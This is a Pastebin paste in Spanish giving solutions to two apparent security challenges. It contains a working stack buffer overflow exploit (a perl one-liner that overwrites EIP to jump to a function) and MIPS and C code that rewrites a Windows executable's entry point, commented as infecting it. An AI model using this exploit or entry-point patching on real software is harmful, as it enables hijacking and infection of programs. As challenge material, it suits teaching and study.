Advertisement
Guest User

SoluciónRetos

a guest
Jan 2nd, 2014
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.28 KB | None | 0 0
  1.    
  2.  
  3.     [Solución Reto 1]
  4.      
  5.     Buscamos la dirección de la funcion execme:
  6.             objdump -d execme
  7.      
  8.     Dirección = 08048404
  9.     LEndian(08048404) = \x04\x84\x04\x08
  10.      
  11.     Averiguar offset hasta EIP probando (suponemos que está cerca del buffer, lo estará). Después de unas cuantas pruebas damos con él, 76.
  12.      
  13.     Input: perl -e 'print "X"x76 . "\x04\x84\x04\x08"' | ./stack
  14.     Ouput:
  15.     Ejecutame :)
  16.     Segmentation fault (core dumped)
  17.      
  18.     Sabemos que el offset máximo del buffer son 64, empezaremos las pruebas con ese:
  19.      
  20.     perl -e 'print "X"x64 . "\x04\x84\x04\x08"' | ./stack
  21.     perl -e 'print "X"x65 . "\x04\x84\x04\x08"' | ./stack
  22.     .
  23.     .
  24.     .
  25.     perl -e 'print "X"x76 . "\x04\x84\x04\x08"' | ./stack
  26.      
  27.     Si suponemos que el EIP está cerca con unas cuantas pruebas saltará y veremos la ejecución de la función execme -76-.
  28.      
  29.      
  30.     [Solución Reto 2]
  31.      
  32.     ---------------------------------------------------------
  33.     MIPS R2000 (32BIT):
  34.     ---------------------------------------------------------
  35.     .data 0x10000000
  36.     path: .asciiz "test.exe"
  37.         ## File inftest.exe must exist ##
  38.     pathi: .asciiz "inftest.exe"
  39.         ## Size of file ##
  40.     buffer: .space 600000
  41.         .globl __start
  42.         .text 0x00400000
  43.      
  44.     __start: # Open File Read#
  45.      
  46.              la $a0,path
  47.              li $a1,0
  48.              jal _openFile
  49.              ## Read File ##
  50.              jal _readFile    
  51.              ## Change EP ##
  52.              jal _change
  53.              ## Close Exe ##
  54.              jal _close
  55.              ## Open File Write ##
  56.              la $a0,pathi
  57.              li $a1,1
  58.              jal _openFile
  59.              ## Rewrite Exe ##
  60.              jal _write
  61.              ## Close Exe ##
  62.              jal _close
  63.              ## Print Test##
  64.              #jal _print
  65.              ## Exit ##
  66.              li $v0,10
  67.              syscall
  68.      
  69.     _write:  li $v0,15
  70.              move $a0,$s6
  71.              la $a1,buffer
  72.              li $a2,600000
  73.              syscall
  74.              jr $ra
  75.      
  76.     _change:   la $a0,buffer
  77.                addu $a0,$a0,0x0A8 # EP offset
  78.                ## Save 1st byte of ep address ##
  79.                li $a1,0x3c
  80.                sb $a1,0($a0)
  81.                ## You can modify all bytes of 32bit address chaining the instructions appeared before ##
  82.                jr $ra
  83.      
  84.     _openFile: li $v0,13
  85.                la $a2,0
  86.                syscall
  87.                move $s6,$v0 # Saving descriptor
  88.                jr $ra  
  89.      
  90.     _readFile: li $v0,14
  91.                move $a0,$s6 # $a0 -> descriptor
  92.                la $a1,buffer
  93.                li $a2,600000
  94.                syscall
  95.                jr $ra        
  96.      
  97.     _close: li $v0, 16
  98.             move $a0,$s6
  99.             syscall
  100.             jr $ra
  101.      
  102.     _print: li $t0,600000
  103.             li $v0,11
  104.             la $t1,buffer
  105.     loop:   lb $a0,0($t1)
  106.             syscall
  107.             addiu $t0,-1
  108.             addiu $t1,1
  109.             bne $t0,$zero,loop
  110.             jr $ra
  111.      
  112.      
  113.      
  114.     ---------------------------------------------------------
  115.     C (LINUX)
  116.     ---------------------------------------------------------
  117.      
  118.     #include <stdio.h>
  119.         #include <sys/types.h>
  120.         #include <sys/mman.h>
  121.         #include <fcntl.h>
  122.         #include <unistd.h>
  123.          
  124.         // Move a byte pointer from init address of projection to offset 0x0A8 where a
  125.         // 4B pointer, will read 4B of Address Entry Point
  126.     int main(int argc,char* argv[])
  127.     {
  128.         char *p,*org;
  129.         int *t;
  130.         int fd;
  131.         struct stat bstat;
  132.         fd = open(argv[1],O_RDWR);
  133.         fstat(fd,&bstat); // Dump descriptor as structure in bstat
  134.         org = mmap((caddr_t)0,bstat.st_size,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0); // Init projection
  135.         p = org;
  136.         //printf("First addr %p\n", p);
  137.         p += 0x0A8; // Offset to AddressEntryPoint
  138.         t = (int*)p; // Cast pointer to read 4 bytes
  139.         //printf("Second addr %p\n", p);
  140.         printf("Current EP: %d\n",*t); // Current EP (dec)
  141.         *t = 0x1337; // EP to infect
  142.         munmap(org, bstat.st_size); // Finish projection
  143.         close(fd);
  144.         return 0;
  145.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement